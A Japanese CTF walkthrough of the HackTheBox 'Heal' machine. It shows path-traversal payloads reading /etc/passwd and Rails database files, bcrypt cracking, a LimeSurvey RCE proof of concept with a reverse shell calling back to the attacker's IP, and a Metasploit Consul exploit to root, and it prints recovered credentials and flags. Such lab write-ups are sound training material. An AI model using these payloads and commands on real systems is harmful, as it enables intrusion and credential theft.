【HackTheBox】Heal：Writeup

# 概要

HackTheBox「Heal」のWriteupです。

https://app.hackthebox.com/machines/Heal

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.46 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Heal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx 1.18.0|

`/etc/hosts`にドメインを追記します。

```
10.10.11.46     heal.htb
```

FFUFでサブドメイン列挙を行うと`api.heal.htb`を発見しました。

```
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.heal.htb" -u http://heal.htb -fs 178
api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 272ms]
```

`/etc/hosts`に追記します。

```
10.10.11.46     heal.htb api.heal.htb
```

`heal.htb`にアクセスするとログイン画面が表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8b341e52-4580-494b-a5be-c07da77c8753.png)

ログイン後、`/survey`にアクセスすると`take-survey.heal.htb`へ遷移していることが分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/effb20fc-133e-4070-8f64-cdaa2b99d4c0.png)

サブドメインを追記します。

```
10.10.11.46     heal.htb api.heal.htb take-survey.heal.htb
```

`http://take-survey.heal.htb`へアクセスすると`LimeSurvey`を使用していると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c709a8da-0d47-4cbe-aa89-6317bed1f819.png)

https://www.limesurvey.org/ja

https://github.com/LimeSurvey/LimeSurvey/tree/master

`http://api.heal.htb/`へアクセスすると`Rails 7.1.4`を使用していると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f90a4308-7036-4b96-8a0b-171585bb1859.png)

`LimeSurvey`を深堀します。
管理者画面のパスを調べると、`/admin/authentication/sa/login`にあるようです。

https://www.limesurvey.org/manual/Manage_users/ja

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/376b3d46-7008-4ebd-9fe5-57038e7e1d1d.png)

`take-survey.heal.htb/admin/authentication/sa/login`にアクセスするとログイン画面が表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/638c2e0d-b0f0-4563-89ee-bf3e8c9eb515.png)

`LimeSurvey`の脆弱性を特定するために、バージョン情報を探します。
GitHubのリポジトリから`docs/release_notes.txt`に更新履歴の記載を発見しました。

https://github.com/LimeSurvey/LimeSurvey/blob/master/docs/release_notes.txt

`take-survey.heal.htb/docs/release_notes.txt`へアクセスすると、`6.6.4`に変更したところまで記録されているので`LimeSurvey 6.6.4`を使用していると推測できます。

```docs/release_notes.txt
CHANGE LOG
------------------------------------------------------
Changes from 6.6.3 (build 240909) to 6.6.4 (build 240923) September 23, 2024
+New feature #19722: Unable to use ExpressionScript code when export by remote control (#3948) (Denis Chenu)
-Fixed issue #CR-1447:  Empty strpos() needle while importing answers to responses in debug mode (#3964) (Rami Shenouda)
```

`Limesurvey-6.6.4`にはRCEの脆弱性があるようです。

https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE

エクスプロイトにはユーザー名とパスワードを要求されています。

```exploit.py
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
port = sys.argv[4]
```

ユーザー名とパスワードを探しに行きます。

`heal.htb/`に戻りアプリケーションを探索すると、`/resume`の`EXPORT AS PDF`でPDF出力できることが分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/23f6b08b-2b6b-45f8-a533-fe890d3c7ade.png)

PDF出力時のリクエストをキャプチャすると、`api.heal.htb/download?filename=`にOPTIONSメソッドでリクエストを送信していると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a6d8f17f-ea26-4619-985e-59ae6fe1be89.png)

試しに、GETメソッドに変更してリクエストを送信すると401が返ってきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/009fbf3a-aa36-49f9-b328-e4eff13a8ab7.png)

他のリクエストから`Authorization`ヘッダーを持ってきて、再度リクエストを送信すると200番が返ってきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/eaac7c5b-a515-4e7a-8770-ce1e438c1bad.png)

`filename=`でファイル名を参照しているので、LFIができるかもしれません。
`../../../../../etc/passwd`でLFIに成功し、`/etc/passwd`を読み込めました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ee330950-7bff-47fe-a8ee-aee6704f5f37.png)

`/etc/passwd`から`ralph`,`ron`アカウントの存在を確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a94e8d17-eecd-42af-a223-a1b03bf9d807.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3c24e07f-e1b3-4e5b-b2c3-95f8802b364b.png)

`api.heal.htb`はRailsで動作しているのでRailsの設定ファイルを探索します。
データベースの設定ファイルパスを調べると`config/database.yml`にあるそうです。

https://railsguides.jp/configuring.html#%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9%E3%82%92%E8%A8%AD%E5%AE%9A%E3%81%99%E3%82%8B

`../../config/database.yml`でファイルを参照できました。
ファイルの内容を見るとDBにsqlite3を使用していると分かりました。
また、DBデータファイルは`storage/development.sqlite3`,`storage/test.sqlite3`にあると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/605c7633-ac3f-4f03-badd-d142aa95e7c1.png)

`../../storage/development.sqlite3`を参照するとDBのデータを閲覧出来ました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4798dbdb-4beb-46bb-a0ae-323c198105dc.png)

データをよく見ると`ralph`アカウントのハッシュ値らしき値も見つかります。
カラムなどから`$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG`がアカウントのハッシュ値と推測できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9e97105b-c3c6-49ae-b5d1-83f1f20c1113.png)

ハッシュ値のフォーマットを調べると`bcrypt sha512`でハッシュ化されていると分かりました。

https://hashcat.net/wiki/doku.php?id=example_hashes

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5229f227-7acd-4434-acd0-7f5ec4e9fb99.png)

`JohnTheRipper`でハッシュ値から平文を特定できました。

```
$ john -w /usr/share/john/password.lst --format=bcrypt ralph_hash
147258369        (?)
```

得られた認証情報で`Limeservey`のログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d255de97-c2c2-4909-a566-400b5e8b7042.png)

これで`Limesurvey-6.6.4`のRCE PoCを動かせます。
PoCは下記リポジトリを使用しました。

https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE.git

必要なライブラリをインストールし、`revshell.php`のIPとPortを環境に合わせて変更します。

```revshell.php
$ip = '10.10.14.136';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
```

設定したポートでNetcatをリッスンします。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
```

ZIPファイルを作成します。

```
$ zip -r N4s1rl1.zip config.xml revshell.php
  adding: config.xml (deflated 59%)
  adding: revshell.php (deflated 68%)
```

PoCを実行します。

```
$ python exploit.py http://take-survey.heal.htb ralph 147258369 80        
 _   _ _  _  ____  _ ____  _     _ 
| \ | | || |/ ___|/ |  _ \| |   / |                                                   
|  \| | || |\___ \| | |_) | |   | |                                                   
| |\  |__   _|__) | |  _ <| |___| |                                                   
|_| \_|  |_||____/|_|_| \_\_____|_|                                                   
                                                                                      
                                                                                      
[INFO] Retrieving CSRF token for login...
[SUCCESS] CSRF Token Retrieved: WTlDYlg1UERTa0JzT3V0NVhVWUFNNjlNUVNPWDlsTE6Rl5lLBfNjKmQ57inr7WTXGYxGSA6--4LF_I5l5xBwKg==                                                    

[INFO] Sending Login Request...                                                       
[SUCCESS] Login Successful!

[INFO] Uploading Plugin...                                                            
[SUCCESS] Plugin Uploaded Successfully!

[INFO] Installing Plugin...                                                           
[SUCCESS] Plugin Installed Successfully!

[INFO] Activating Plugin...                                                           
[SUCCESS] Plugin Activated Successfully!

[INFO] Triggering Reverse Shell...
```

`www-data`でリバースシェルを張れました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.11.46] 56166
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 21:23:09 up 17:22,  0 users,  load average: 0.11, 0.09, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`ralph`アカウントの他に`ron`アカウントを発見しました。

```
www-data@heal:~/limesurvey$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Dec  9 12:53 .
drwxr-xr-x 19 root  root  4096 Dec  8 13:57 ..
drwxr-x--- 13 ralph ralph 4096 Dec  9 12:57 ralph
drwxr-x---  5 ron   ron   4096 Apr 16 18:32 ron
```

`Limesurvey`のリポジトリから`application/config/config.php`が設定ファイルだと分かっているので、ここに認証情報があると予測できます。

確認するとDBのパスワードに`AdmiDi0_pA$$w0rd`を使用していると分かりました。

```/var/www/limesurvey/application/config/config.php

(省略)

return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),
```

このパスワードで`ron`のSSH接続に成功しました。

```
$ ssh ron@heal.htb
ron@heal:~$
```

`/home/ron/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt 
d701679bbe41d04ff341b8c91062632f
```

# Root Flag

`linpeas`を実行し、ローカルで動作しているポートを列挙できました。

```
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                                
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -
```

Nginxの設定から`3000`,`3001`などは`api.hea.htb`,`heal.htb`で使用されていると分かりました。

SSHのポートフォワーディングを試していくと、`8500`で`Consul v1.19.2`が動作していると分かりました。

```
$ ssh -L 8500:127.0.0.1:8500 ron@heal.htb
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6a6f59e1-f6cf-4124-a180-f500d43f16db.png)

https://developer.hashicorp.com/consul

`HashiCorp Consul pentest`などで調べるとRCEの脆弱性があり、Metasploitのモジュールがあると分かりました。

https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960

`exploit/multi/misc/consul_service_exec`を使用します。

```
msf6 > use exploit/multi/misc/consul_service_exec
```

エクスプロイトを実行すると`root`権限を取得できました。

```
msf6 exploit(multi/misc/consul_service_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.136:4444 
[*] Creating service 'pVeCnTGdD'
[*] Service 'pVeCnTGdD' successfully created.
[*] Waiting for service 'pVeCnTGdD' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.46
[*] Meterpreter session 1 opened (10.10.14.136:4444 -> 10.10.11.46:55220) at 2025-04-16 17:47:03 -0400
[*] Removing service 'pVeCnTGdD'
[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter > getuid
Server username: root
```

`/root/root.txt`からルートフラグを入手できました。

```
cat /root/root.txt
1c1bc5d8aac706005b20999efce256ce
```